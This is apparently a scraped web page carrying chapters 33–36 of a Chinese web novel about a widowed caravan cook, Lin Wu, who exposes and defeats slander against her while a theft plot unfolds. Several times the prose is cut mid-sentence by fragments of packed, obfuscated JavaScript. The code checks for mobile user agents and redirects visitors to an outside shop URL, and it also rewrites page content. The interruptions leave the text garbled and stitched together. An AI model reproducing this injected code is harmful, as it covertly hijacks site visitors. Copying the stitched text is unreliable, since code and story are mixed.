l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906132|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净的碗盘尽数收进网兜，起身便要离开这是非之地。 “哎呀，您就别谦虚了，”王绣娘却不依不饶地跟了上来，“寻常厨娘可没福分单独进管事的车厢回话呢。” 此言一出，林芜脚步猛地顿住，转过身面向王绣娘，脸色一沉。 “我与管事商议的皆是餐食安排的正经事，伙计和账房先生都在场，”她目光清亮，直直看向那妇人，声音清晰，“我倒是想知道，是谁在背后嚼这等舌根，是瞧着我们孤儿寡母无依无靠，好欺辱么？欺辱我也便罢了，如今竟连累管事清名，我倒要看看，是谁在散播这等污言秽语！” 说着，她一手紧握网兜，另一手一把用力抓住王绣娘的手腕，目光在人群中急急搜寻，一眼瞥见熟悉的身影，立刻扬声招呼：“赵小哥！” 小赵本就在附近晃荡，加之这边动静早已引得众人侧目，他闻声立刻小跑过来：“林姐，咋了？” 林芜松开手，指着王绣娘对小赵道：“这位嫂子说我曾单独去管事车厢回话，是与管事相熟，便想托我走门路。赵小哥，烦您与他们说说，当时究竟是何情形。” “单独？”小赵听到这话，脸上那点嬉笑霎时敛去，声音扬起，“欸！莫不是说前日管事过问朝食的事儿？那日我小赵这么大个活人戳在旁边，是变成木头桩子了么？怎么就单独了？” 王绣娘本就被这不按常理出牌的林芜吓了一跳，见小赵不过是个年轻伙计，就想糊弄过去，忙道：“小哥息怒，我这也是心急想寻个活计，听信了旁人胡说。不过这前前后后谁不知道林厨娘跟管事相熟，这可都是附近几个商队都知道的事儿。” “哦，我怎么不知？”小赵目光扫过妇人身后不远处的汉子，又环视一圈看热闹的众人，声音亮堂，“您托她还不如托我，我在管事面前也是说得上话的。哎呀，怎么就没人传我话头呢，还是我小赵份量不够？” “这……小哥你这话说的。”王绣娘一时语塞。 “不是想见管事吗？走，我这就带你们去！”小赵嗓门又亮了几分，“不过咱可先把话撂这儿，污人清白，损人阴德，小心半夜睡觉被无常爷拿了铁钩子来勾舌头。” 说着，他目光又往人群里一扫：“还有谁想一同去的，都跟上！管事又不是那凌霄殿上的玉皇大帝，要见一面有何难？咱们管事行得端，走得正，该让他来评评这个理。” 众人闻言，面面相觑，纷纷缩了缩脖子，无人敢应声。 只有王绣娘的丈夫，脸色难看地走上前来，朝她使了个眼色，硬着头皮跟了上去。 “这、这是闹的哪一出？”李三娘瞧着这样的动静，心里惴惴，不敢贸然上前。 一同收拾家伙的帮厨和杂役倒是见惯了似的，提着东西边走边撇嘴：“还能是啥？有人闲得腚疼，嚼舌根子传到正主耳朵里了呗。甭操心，小赵那小子精得猴儿似的，吃不了亏。” 旁边一位护卫点了点头，接口道：“林厨娘这招高明。背后嘀嘀咕咕的腌臜事，就得摆到日头底下，照个分明。” 看热闹的人群乌泱泱地往锦程行的营地涌去。 33. 第 33 章 守在货车的林景被外头的喧哗惊动，小心翼翼地探出半个身子，一眼就瞧见了被人群隐约围在中间的林芜，顿时吓得小脸绷紧。 他脑子有些发蒙，却顾不上害怕，立马就起身，攀着车板边缘，小心地翻了下去。 四周的伙计也察觉不对，交头接耳起来： “出什么事了？” “像是有人生事，赵小哥直接领着人去找张管事了。” “嚯！哪个不开眼的，敢在咱们锦程行撒野？” “哎哟，前头那个不是林厨娘吗？”痦子大娘扯着赵三娘也挤了过来，语气里满是瞧热闹的兴奋，“瞧这阵仗，别是犯了什么事，要被管事问罪了吧？” 赵三娘牵着孩子，闻言叹了口气：“不能吧？林厨娘可是顶守规矩的人，先前我拿细面饼跟她个炊饼都不愿呢。”她说着，手下不自觉地用力，捏得孩子的小手一缩。 痦子大娘哼了一声：“说不定人家是瞧不上你这点小便宜，眼界高着呢！”。 赵三娘瞥了一眼已翻下货车正焦灼不安的林景，语带担忧：“我瞧着林厨娘不像这种人。咱们也去看看吧，万一我能帮着说上两句话呢？” 林景急得频频来回扭头，一会儿犹豫地看着货车内的家当，一会儿又转头焦急地望着那边被团团围住的林芜。 眼见着脸熟的帮厨大叔提着东西往后厨走过来，他再也按捺不住，急忙小跑着迎上去，声音有些发颤但努力保持平稳：“大叔，我娘呢？她怎么了？” “哎，是小丫头啊，”帮厨低头看见他强忍着惊慌的小脸，放缓了声音，“别怕，你娘跟赵小哥去张管事那儿说点事，一会儿就回来，没事儿的。” “大叔，那您能帮我看着会儿车吗？我想去找我娘。”林景仰着头问道。 帮厨被他那强装镇定的小模样逗乐，哈哈一笑：“成，去吧去吧，我给你看着，快去找你娘吧！” 得了应允，林景急忙朝人群方向小跑过去。 他刚离开，恰好停在货车边的赵三娘，突然提高了音量：“哎呀，你这孩子，又闹什么脾气？”她边说边拍了拍紧紧抱住她的大腿，不肯再走一步的女童。 “咋了？”痦子大娘的目光还黏在不远处的人群里，头也不回地问。 “这孩子怕生，不敢往人堆里去。瞧瞧这没出息的样儿。”赵三娘语带埋怨。 “那些护卫个个虎背熊腰的，吓着孩子也正常。你就别瞎操心去管那林厨娘的闲事了，歇着吧。”痦子大娘撂下话，自己头也不回地往前挤去了。 赵三娘没有跟上去。她蹲下身，安抚着孩子：“乖乖，别怕，娘在这儿呢。” 母女俩的身影隐没在货车投下的阴影里。 那边的人群熙熙攘攘涌到张管事的车厢外。张管事听到外头的喧哗，皱着眉掀开车帘。 “怎么？吃饱了撑的，都聚到我这儿来消食了？”他目光落在带头的小赵身上，语气不善，“小赵，你小子又带头惹事是吧？” “张叔，您这可冤死我了！”小赵立刻叫屈，侧身让出身后的林芜和那对夫妻，“是这二位有急事非得求见您，都堵到溪边，害得林姐洗个碗都不得安生。他们说林姐跟您相熟，能走个门路。” 众人将林芜与那对夫妻团团围在中间，数道目光一齐聚到他们身上，一时也没有人说话，空气凝滞。 就在此时，一个小小的身影从人缝中挤了进来，是林景。他板着小脸，径直走到林芜身边，挨到她腿边，然后伸出小手，向上用力握住了林芜微凉的手指。 他没有说话，黑沉沉的眸子看了一眼那对面色惶然的夫妻，随即又望向张管事。 张管事眉头紧锁，视线扫过神色慌张的年轻夫妻，又掠过周围看热闹的众人，声音沉了下去：“我锦程行好吃好喝供着，是让你们有力气赶路，不是让你们生事胡闹！究竟怎么回事？” 小赵立刻三言两语交待了来龙去脉。 张管事听完，面色更沉。 他看向那对夫妻：“锦程行用人，自有章程。若应征绣娘，该去各城的锦程坊；若是车把式，待商队贴出告示，按规矩应聘。商队是商队，坊店是坊店，我张某还管不到坊店招工的事。” 接着他话锋一转，语气陡然严厉：“况且，我锦程行招人，手艺固然重要，但更看重人品德行。那些无中生有、乱嚼舌根、坏我商队风气之人，便是有天大的本事，锦程行也容不下！” 那对夫妻被他目光一扫，顿时慌了神。 那汉子连忙扯着妇人躬身，声音发颤：“管、管事息怒，是、是咱们糊涂了，病急乱投医，听信了混话，绝无坏商队风气的意思！” 张管事却不再看他们，目光缓缓扫过众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909301|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，声音在这片沉默中格外清晰：“林厨娘乃是循商队告示前来应聘，其后立契、商议餐食安排诸事，皆有第三人在场见证，光明正大，何来单独商议一说？此等谣言，不仅损我张某声誉，更污人清白，坏我锦程行规矩！” 他微微一顿，才继续道：“造谣生事，诽谤他人，按当朝刑统当杖责论处。” 一听这话，那对夫妻顿时煞白脸色，腿脚发软，险些当场跪下。王绣娘更是语无伦次：“管、管事，求您开恩，我们知错了，真的知错了……” 张管事沉默地注视他们，那目光犹如实质，沉甸甸地压得两人几乎喘不过气。 半晌，他瞥了一眼小赵后，才再开口，语气又严肃几分：“今日念在你们是初犯，又是受人蛊惑，便不予深究。你二人需当众向林娘子赔罪，在行里澄清事实。若往后再有人管不住自己的舌头，胡乱编排，休怪我按规矩办事，直接捆了送交前方县衙！” 夫妻二人如蒙大赦，连连屈身：“多谢管事开恩！多谢管事开恩！” 随即又慌忙转向林芜，一同深深作揖，声音颤抖：“林娘子，对不住，实在对不住啊！是我们不辨是非，听了瞎话，坏了您的名声……我们这就去跟同行的人说清楚，绝不再胡说一字！” 林芜看着他们，抬手用袖子抹了抹发红的眼眶，声音有些哽咽：“还望二位今后谨慎些，莫再轻信传言。我带着孩子讨生活本就不易，日子已经够难了，实在经不起这般风言风语。” 她这话说得恳切又饱含辛酸，再瞧那小娃娃紧紧攥着她的手，母子二人静静相依，身形在暮色里显得格外单薄伶仃，任谁看了都不由生出几分同情。 那对夫妻更是羞愧难当：“是、是我们糊涂，再也不敢了！” “既是误会，说开便好。”林芜这才轻声道，只是声音带着明显的疲惫。 “多谢林娘子宽宏大量！” 待这对夫妻道完歉，正缩着肩膀想要退出人群时，众人都以为这场风波总算过去了，三三两两准备散去。 谁料，此时小赵的视线凌厉地刮过人群，厉声道：“谁跟你们传的混话？若是咱们锦程行的人，自个儿滚出来认了！” 他话音一落，众人顿时停下脚步，面面相觑，又将视线聚到了那对夫妻身上。 那汉子刚放下的心又悬了起来，额角直冒汗。 34. 第 34 章 王绣娘扯了扯他的衣摆，他才猛地回过神来，视线穿过人群，死死锁在后方一个正打算低头溜走的汉子身上。 那人穿着一身灰色短打，身形干瘦矮小，鼻翼旁长着一颗黑痦子。 “回、回管事，”那汉子见他欲逃走，也不再犹豫，立刻指着那人道，“是我糊涂，不辨是非，听信了王老五的混话。” 他这话一出，众人齐刷刷看向王老五。 王老五正想加快脚步溜走，却被身旁几个汉子一把拽了回来，推到张管事跟前。 “好你个王老五，又是你在背后挑事生非！”人群中立刻有人骂道。 不等王老五开口狡辩，原本挤在人群中看热闹的痦子大娘猛地一屁股瘫坐在地，双手用力拍打着地面，扯开嗓子干嚎起来： “没天理啊！都来欺负我们老实巴交的穷苦人啊！哪个嘴上没沾过几句腌臜话？要不是她行事不端正，叫人抓着影儿，谁稀罕说她！如今倒好，屎盆子全扣我家老五头上了！你们是要合起来逼死我们娘俩啊！” 林芜看着这熟悉的一幕，心下无语，只觉得额角隐隐作痛。 被当场指认的王老五脸上挂不住，却仍梗着脖子嚷嚷：“说两句闲话能咋的？又不会真掉块肉！谁晓得旁人嘴皮子没把门，传来传去传歪了！” 他心里更是窝火，只觉这帮人都在装模作样。他不过是听他娘和赵三娘嘀咕了些风言风语，顺嘴编排了几句浑话么，这他娘的算什么大事？哪个爷们私底下不扯两句？偏就这娘们金贵？这点破事就闹这般阵仗，指定是暗地里真和这管事有些勾扯。 他斜着眼，瞥了瞥面色肃然的张管事，又扫过那些穿戴齐整的锦程行商队护卫伙计，心里那股子火气更是窜了上来。 这帮大商队的孙子，平日里摆着架子，穿得人模人样，背地里什么脏的臭的没沾过？那些在花楼里一掷千金的，不也都是这些体面老爷？现在倒跟他这儿摆起谱，装起青天大老爷来了！呸，什么玩意儿！ 张管事脸色一沉，刚要开口，一道急切的声音便从人群外传来。 “张管事！张管事！恕罪、恕罪啊——” 只见一个身材微胖的中年汉子挤了进来，正是痦子大娘他们的孙领队。 他满额汗珠，神色惶恐，进来后气还没喘平，便对着张管事连连拱手：“张爷，对不住，实在对不住！是我孙福管教无方，让手底下这起子混账东西扰了您的清静。” 说罢，他狠狠瞪了王老五母子俩一眼。方才伙计跑来告诉他王老五惹了锦程行，他差点儿吓得魂飞魄散。 不等张管事发话，孙领队又抢先一步，指着王老五厉声骂道：“王老五，你这张破嘴除了惹是生非还会干什么？还有你娘，平日里撒泼打滚也就算了，如今竟敢编排到锦程行头上！我看你们是活腻了！” 骂完后，他才又转过身，恭敬地对张管事道：“张爷，这人是我带出来的，出了这等事，我孙福难辞其咎。您何等身份，不必为这种腌臜东西动气，免得脏了您的手。您看这样如何，这人交由我来处置，我定给您和林娘子一个明明白白的交代。” 张管事见状，点了点头：“孙领队既如此说，张某自然信你。商队行走，信誉最重，此风断不可长。” 得了这句准话，孙领队心中大石落地，立刻朝向王老五：“王老五，今日是你走了大运，遇上张爷与林娘子这般仁善之人。你听清楚了！ 一，立刻给林娘子磕头赔罪，她若不点头，你母子二人便立刻收拾包袱滚出商队，你们自生自灭去！二，扣了你此趟所有工钱，充作赔礼！三，从今日起直凌州，商队夜里值守喂骡等苦差，由你一人全包！若敢偷懒，我定扒了你的皮！” 孙领队话音一落，王老五的脸瞬间涨得通红。他梗着脖子，嘴唇哆嗦着，却一个字也憋不出来。众目睽睽之下，尤其是在他平日吹牛耍横的同行面前，向一个寡妇女流磕头，简直比当众扒了他衣裳还难堪。 “还愣着干什么！要我请你不成？！”孙领队见他不动，一脚踹在他腿弯上。 王老五一个趔趄，整个人不受控制地向前扑去，双膝“噗通”一声重重跪倒在硬地上。膝盖骨撞得生疼，却远不及心头火烧火燎的耻辱。 四周静得可怕，所有人的目光像针一样扎在他背上。那些平日他瞧不上的伙计，此刻全都眼睁睁看着他像条狗一样跪在一个娘们面前。面前的张管事和那死胖子领队，显得那般高，身影沉沉地压在他心头。 他咬紧牙关，“咚”的一声，头磕在地上，声音从牙缝中挤出：“林、林娘子，对不住，是我嘴贱，你大人有大量，别跟我一般见识。” 这道歉说得磕磕巴巴，只有屈辱和愤懑，毫无诚意。 痦子大娘在一旁看着，嘴唇哆嗦着想张嘴，可目光触及面色冷淡的张管事和一脸厉色的孙福，到嘴边的话又咽了回去，只能死死攥紧袖口，眼中满是怨毒。 那是她亲生的儿子，顶天立地的汉子。就因为担忧这莽撞小子在商队里吃亏受苦，她一把年纪了还不肯歇着，硬是跟着车队南来北往，替他打点周全。她吃多少苦都甘愿，只要儿子能少受一点委屈。 如今却要当众跪着，还是向着这么个不检点的乡下寡妇！那“咚”的一声狠狠砸在她的心口，疼得她浑身发颤、眼前发黑。 林芜却在他跪下的瞬间，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16915381|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧身避开了，也不看他，而是先向张管事和孙领队屈身行礼：“多谢张管事、孙领队、赵小哥主持公道，还妇人清白。” 接着，她又直直望向脸色铁青的痦子大娘，对上她那怨毒的眼神，声音发颤：“大娘，我实在不明白，您为何独独这般怨我？莫非……就因前些日子在乌仓县，您邀我带着孩子与您同行，而我婉言相拒那事么？ 当时我便说了，也想着您应当是体谅的。一来，我们母子囊中羞涩，实在凑不出搭队钱，怕平白拖累了商队；二来，锦程行既已雇了我，待我们又宽厚，我怎能做那朝秦暮楚之人？我自问这番说辞并无得罪之处，却不想自那日后，大娘瞧我不顺眼，从脚店到今日……我、我实在不知，自己究竟错在何处？” 众人听罢，皆是恍然大悟，原来缘由在这儿。那大娘自己邀人不成，便怀恨在心。再看痦子大娘，目光里不免带上了鄙夷。锦程行和寻常小商队，只要不傻，都知道该怎么选。 孙领队更是额角冒汗，又是气恼又是尴尬：“这事、这事……唉，确是我孙福管束不严！我也劝过大娘莫要强求。谁曾想她竟这般心胸，记恨至今！这王老五更是混账，添油加醋，胡言乱语，闹出这等是非！您放心，往后我定严加管束，绝不再让他们生事！” 孙领队这番话，更是证实林芜所言非虚。 林芜听罢，这才垂眸看向地上的王老五：“请起吧，我当不起这般大礼。只望你日后都能谨言慎行，莫要再传出些不干不净的闲话，坏了商队和气。” 林景紧紧挨在了林芜腿边，没有说话，只是微微低头，一双乌溜溜的眼睛一眨不眨地瞪着跪在地上的王老五，小拳头在身侧攥得紧紧的。他小小的身子紧绷着，嘴唇紧抿，像可怜又倔强的小兽。 众人瞧见这母女俩，当娘的肤色黝黑，满面风霜，一身穷苦；小的更是瘦弱单薄，穿着半旧不新的衣裳，小小年纪便跟着寡母颠沛流离。 再对比一旁惯会撒泼耍横的王老五母子，孰是孰非，一目了然。 什么与管事有私？瞧这母子俩老实怯懦的模样，怕是连跟管事多说一句话都不敢。编排这种谣言，其心可诛！一时间，看向林芜母子的目光中充满了怜悯。 待王老五起身后，孙福立马掏出一个荷包，递向林芜：“林娘子，千错万错，都是我们商队管教不严。您看这混账也认错了，扣下的工钱理当赔给您压惊，万望您收下，莫因这小人气坏了身子。” 众人的目光霎时又都聚到林芜身上，只见她缓缓摇了摇头，声音不大却清晰：“孙领队的好意，我心领了。但这钱，我是万万不能收的。” 此言一出，众人都有些意外。 35. 第 35 章 在一片安静中，林芜的声音不高却很清晰：“今日之事，幸得张管事和孙领队明察公断，赵小哥仗义执言，还了妇人清白，这已是天大的恩德与公道，感激不尽。至于银钱赔补……” 她微微顿了一下，才接着道：“妇人虽只是乡野之人，不识几个字，却也晓得无功不受禄的道理。这银钱我实在不该领受，一切但凭张管事和孙领队做主便是，无论二位如何裁断，妇人绝无怨言，唯有感激。” 张管事闻言，瞧了她一眼后，便对孙福道：“孙领队，这是你们商队内部事务，你自己依规矩处置便是。” 孙福当即对王老五喝道：“听见没有？张管事宽宏，林娘子也不与你计较！你这工钱全数充公。你们母子俩给我记住了，再敢生事，立刻滚蛋！” 事情既定，张管事不再多言，目光扫过人群，挥了挥手：“好了，此事已了，都散了吧。明日还要赶路，莫要误了正事。” 孙福又对张管事和林芜说了几句好话，才押着如丧考妣的王老五和他娘离开了。 闹剧终于收场。人群也在议论纷纷中逐渐散去。 林芜轻轻拉了一下依旧倔强地盯着王老五背影的林景，低声道：“景娘，走了。” 小家伙这才收回目光，紧紧牵着她的手，默默跟着往回走。 回到货车旁，林景立刻攥住她的衣角，大眼睛里还有未消的怒气，小声问：“他们为什么那么坏？” 林芜蹲下身，轻轻擦去他额上因方才着急冒出的汗珠，才轻声对他说：“这世上有人心向善，就有人心向恶，就像天有晴雨，是常事。” 她看着那双清亮的眸子，声音又低了一些：“藏锋守拙是为了平安，但绝非任人欺凌。遇到不公，若是一味退缩，只会让人以为我们软弱可欺，得看准时机，借势反击，方能护住自身。” 林景似懂非懂，用力点了点头，把小脑袋靠在林芜的手臂上。 一旁的李三娘和几位帮厨也围了过来，脸上也都带着愤怒。 “真真是人在路上走，祸从天上来！就没见过这般满嘴喷粪的！”李三娘忍不住骂道。 “这行商路上龙蛇混杂，越是小商队，规矩越松散。那些无所事事的闲汉，路上憋闷了，就爱生些是非出来嚼舌根。”一个年长些的帮厨接口道。 …… 夜色渐深，营地的喧嚣终于彻底平息。 林芜仿佛完全未受风波的影响，她将林景安顿在货车角落里歇下后，便和李三娘、帮厨们借着火光，开始准备第二日的朝食。 她将粳米淘洗好浸上，又取了几条腌肉切碎，再将泡发好的蕈干、笋丝料理了。接着，将肉碎、蕈丝、笋丝调味，一同放入大锅中，加入清水，放到灶上，用小火慢慢煨着。 待一切安排妥当，她才洗净手，回到货车上。 夜深露重，寒气侵人。 林芜取出夹绵袄子给自己和林景穿上，又展开了那条薄衾被，将两人紧紧裹住。 林景却睁着一双圆溜溜的眼睛，靠在自己的小包袱上，毫无睡意。 “怎么还不睡？”林芜轻声问道，伸手替他掖了掖被角。 “是不是今儿被吓着了？天杀的王老五，净不干人事！”一旁的李三娘跟着骂了一句。 林景轻轻摇了摇头，小手轻轻拍了拍身后的包袱，用几乎微不可闻的气音说：“包袱有点硌。”因家当微薄，这孩子对他们的每一样物品都格外看重，所以包袱有一点变化他都能立马察觉。 林芜心下微怔。林景无论是之前睡山洞的草堆，还是这几夜枕着包袱，都从未喊过不适。 她心念微转，面上神色如常，只顺着他的话说：“许是取了衣裳和薄被出来，里面的东西硌着了吧，娘看看。”说着，便动手解开了那个小包袱。 借着从车篷缝隙透进来的月光和篝火余光，她在几件旧衣物间仔细摸索。很快，指尖触到一串硬物，藏在林景的头巾下面。 林芜心头猛地一跳。 眼角的余光瞥了一眼一旁似乎已重新合眼的李三娘，她压下心中的惊悸，手上动作不停，语气平静：“没事，用头巾垫垫就不硌了。” 她利落地用头巾将那串东西重新盖住，系上包袱。 林景乖巧地点了点头，这才继续睡下。 但两人一时都没有睡意。 第二日清晨，天气又比昨日凉了不少。 锦程行的护卫伙计们在一阵浓郁暖香中醒来的。 只见林芜立在灶边，手持长勺，缓缓搅动着一大锅正微微翻腾的浓白汤粥。粥汤稠滑，可见嫩滑的肉片、软滑的蕈丝和笋丝，翠绿的葱花点缀其间。 这便是今日准备的朝食，肉糜蕈笋暖粥。 用文火煨了一夜，腌肉和蕈笋的鲜味完全融入米粒，滋味醇厚鲜香。 在这寒冷的清晨，一碗暖粥下肚，顷刻便驱散了凉秋的寒意与晨起的倦意，暖意从喉咙一直蔓延到全身，连指尖都跟着舒展起来。 方谦也在车厢里用了一碗，粥入口绵滑，咸淡得宜，滋味甚好。 他搁下碗，像想起什么，对一旁的张管事随口问道：“昨夜外头似乎有些喧哗，所为何事？” 张管事将小赵唤进来，将事情始末和处置结果言简意赅地禀报了一遍。 方谦听罢，神色未变，只轻轻拨弄了一下茶盏盖：“她倒是识趣，将处置权交由你和那领队，面上全了商队的规矩与体面，实则把自己从这滩浑水里干净地摘了出去。” 她若是接了那领队从王老五那儿扣来的钱，眼下王老五母子固然只能咬牙咽下这口气，可这怨气一旦与银钱挂钩，便成了扎在心头的刺，时日愈久，愈难拔除。 待到行程终了，王老五辛苦一趟却分文未得，届时如何闹还难说。平白埋下纠缠不清的祸根。如今她分文不取，只求公断，是非曲直便全落在商队规矩之内，自己却片叶不沾身。能想到这一层，不为眼前小利所动，这妇人处事，颇有章法。 再观她平日行事，亦是进退得宜。于餐食上多有巧思，譬如吃了咸口的晡食，次日便做清爽甜口的朝食，这天气转凉便做暖粥。食材寻常，心思却不寻常，安排得细致妥帖。 这般周全，倒不太像寻常村野妇人的路数，反似高门大户里懂得体察上意的得力仆妇，擅于打点庶务， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16920549|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将份内事料理得滴水不漏。 方谦指尖轻点着案几，若有所思。 “是哩，”小赵在一旁接话，“林姐带着个小娘子，这一路风餐露宿，很是不易。伙计们夸她一句，她便要谦逊地回几句，说话行事都格外小心，也不知从前在家中吃过什么苦头。” “便是这般谨慎，仍免不了招来王老五那般闲汉的诋毁。孤儿寡母在这世道讨生活，终究是艰难。”张管事叹道。 方谦听着，并未接话。乡野妇人，怯懦、泼辣、老实木讷的皆是常见，这般事事规矩谨慎，处处小心妥帖的，反倒少见。 他沉吟片刻，吩咐道：“商队行走，以和为贵，却也不可纵容恶行，失了规矩。这事你处置妥当。至于林厨娘，手艺不错，人也安分，此番算是受了无妄之灾。加之这几日为秦世伯单独调理餐食，颇费心力。此行结束，便从账上多支一倍的工钱予她，充作补偿与酬劳。” “是。”张管事颔首应下。 方谦似乎想起什么，指尖一顿，又说：“秦世伯似有意邀她去货栈应工。” “听闻她已婉拒。”张管事回道。 小赵便把林芜说给秦啸山的那番缘由复述了一遍。 “倒是个不愿意麻烦他人的性子，”方谦语气平常，听不出什么波澜，“罢了，由她去吧。” 既不愿承情，便是不想与人有牵绊，打定了主意要独善其身。 他几不可察地摇了摇头。萍水相逢，终是过客，算不上什么要紧人要紧事。只要不碍着商队行程，不犯规矩，便不值得深究。 “时辰不早了，”他将手中的茶盏轻轻搁下，收起思绪，“早些收拾启程，沈伯父指不定在凌州怎么数落我拖沓呢。” —— 凌州，沈宅书房。 屋内陈设清简，一张宽大檀木书案临窗而置，镇纸下压着半卷摊开的舆图。 沈观亭便坐在书案后，秋阳透过细密的窗棂筛落进来，在他轮廓分明的侧脸上投下斑驳的光影，神色半明半暗，瞧不真切。 “如何？”他手执书册，听见脚步声，并未抬头，只是漫不经心地问了一句。 来人是沈观亭的亲随沈全，约莫二十五六岁年纪，面容沉静。他低声回禀：“两日后卯时初刻自北门出，往南崖去。” “果然，”沈观亭目光未动，指尖随意翻开一页书，“队里情形如何？” “不甚好。启程前便已缺衣少食，病倒了不少。加之天气转寒，恐难支撑太久。” 沈观亭沉默片刻，望向窗外。庭院里秋色已深，草木凋敝，透着萧瑟的凉意。 他指尖在案几上轻点了两下。 片刻，他收回目光，声音毫无波澜却清晰：“天时愈发寒了。沈家小东家此番从湖州过来，头一遭见识北地秋冬，不知民生疾苦竟至于斯。因而，便以体恤乡里、积善祈福之名，让商队从明日起，于城郊设两处粥棚，再请两位大夫随诊，专为贫苦无依者施粥看诊。” 沈全心领神会，垂首应道：“是，属下明白。” 沈观亭看向案上的舆图，目光最终停在图卷下方标着的“南崖”二字上。 36. 第 36 章 锦程行的营地粥香四溢，热气腾腾，在秋日清寒的早晨显得尤为温暖。 林芜站在大锅旁，为排队的伙计们分粥，神色平静，仿佛昨夜的风波未曾发生。 赵三娘牵着女儿，远远望着林芜忙碌却从容的身影，神色复杂难辨。 “娘，那个姨姨做的粥好香，暖暖的。”她身边面色有些苍白的女童扯着她的袖口，小声说道。 赵三娘猛地攥紧了女儿的手，低声喃喃：“过几日咱们也能吃到，过几日，再过几日便好。” 与此同时，林景像条灵活的小鱼，悄无声息地在人群中穿梭，找到了正埋头吃粥的小赵。 小赵见是林景，把嘴里那口粥咽了下去，问：“咋了？小景娘，没吃饱？” 林景不说话，只板着一张小脸，神情严肃地朝他勾了勾手指。 小赵被他这副小模样逗乐了，笑嘻嘻侧耳过去：“嘿，我的粥可不分你，让你娘给你开小灶去。” 林景立刻凑到他耳边，嘀嘀咕咕说了一通。 随着林景的讲述，小赵眉头一蹙，脸上的嬉笑渐渐褪去：“怎么就没个消停。” 他两三口将碗里剩余的粥扒拉干净，随即拍了拍林景的肩膀，低声道：“别怕，这事交给我。回去告诉你娘，放宽心，我心里有数了。”说罢，他放好碗，起身径直朝着张管事车厢的方向快步走去。 朝食过后，商队收好行装，继续前行。天气晴朗，路途平稳，前方的凌州已不远。 晌午歇脚时，小赵悠闲地在营地各处晃悠，双眼却不着痕迹地扫视着。 “小赵哥，您今儿怎么巡起逻来了？把兄弟们的饭碗都给抢啦？”一个相熟的护卫笑着打趣。 “嗐，别提了！后厨那饼子做得太实在，吃撑了，来溜达溜达，消消食。”小赵摸着肚子，笑嘻嘻地回应。 “别说，这趟走下来，咱们的嘴都快被厨娘养刁了。想想往后怕是没这口福喽，心里还真不是滋味。” “这话要是让帮厨师傅和还在乌仓县养病的厨娘知道，你小子往后就等着顿顿吃猪食吧！” “林厨娘手艺是真没得说，但愿帮厨师傅这几日偷师学了一两手！” “得了吧，照你这么说，两位厨娘要知道这趟还得把拿手绝活抖露出去，下回见着咱们商队，怕是要绕道走咯！” 几人正说笑间，赵三娘抱着咳嗽不止的女儿，在人群中左右张望，终于找准时机，朝着小赵这边走了过来。 小赵眼角的余光早已瞥见她，心中暗道一声：“来了！” 他面上却不显，待人走到跟前，还热心地问：“嫂子，您找我啊？” 赵三娘未语泪先流，声音带着哭腔：“这位小哥，求您行行好，救救我女儿吧！她这不是寻常咳嗽，是寒痰闭肺的老毛病犯了，这会儿喘不上气，眼瞅着要背过气去了……” “哎呀，嫂子，您这是病急乱找人，”小赵急忙出声，“我不是大夫啊。” “小哥，我知道的。昨日那事之后，我也瞧出来了，您在管事面前是说得上话的。我实在是没法子了，才厚着脸皮来求您。”赵三娘一边轻拍着女儿后背给她顺气，一边说着。 “从前京里大夫特意交代过，她这病急起来若没药，最稳妥的法子就是用年份足品质好的陈皮，配上老姜、粳米熬成粥，最能温化寒痰、理气平喘。只求您帮忙看看锦程行是否有这上好的陈皮，我愿意花钱买，只求给孩子救急！” 小赵顿时惊讶道：“哟，嫂子您还真是问对人了！您怎么就知道我们商队备着好陈皮呢？” 赵三娘脸上一喜，像是抓住了救命稻草，急忙解释：“我也是没法子了，想着锦程行这般大的家业，后厨用料讲究，兴许会备着这些。没想到真让我问着了！” 小赵老神在在地点了点头：“不瞒您说，这东西我们确实备着些，既是给后厨调味增香，也供东家和管事们偶尔泡茶润喉。不过，我做不了主，得先回禀管事一声才行。” “应当的，应当的！多谢小哥！”赵三娘连连道谢。 不多时，小赵便领着负责采买的胡大叔回来了。 “嫂子，这是咱们管库的胡大叔，商队里一应物品进出都归他管。”说着，他便带着赵三娘往那辆食材货车走去。 胡大叔利落地翻进车厢，嘴里还念叨着：“我记得很清楚，陈皮就收在这香料柜里头……” 赵三娘因着心急，也扒着车沿探头往里瞧。 胡大叔很快就找到了，可仔细清点之后，脸色立刻变了：“少了一串！” “怎么会少了？”小赵眉头皱起，“胡叔，您是不是记岔了？” 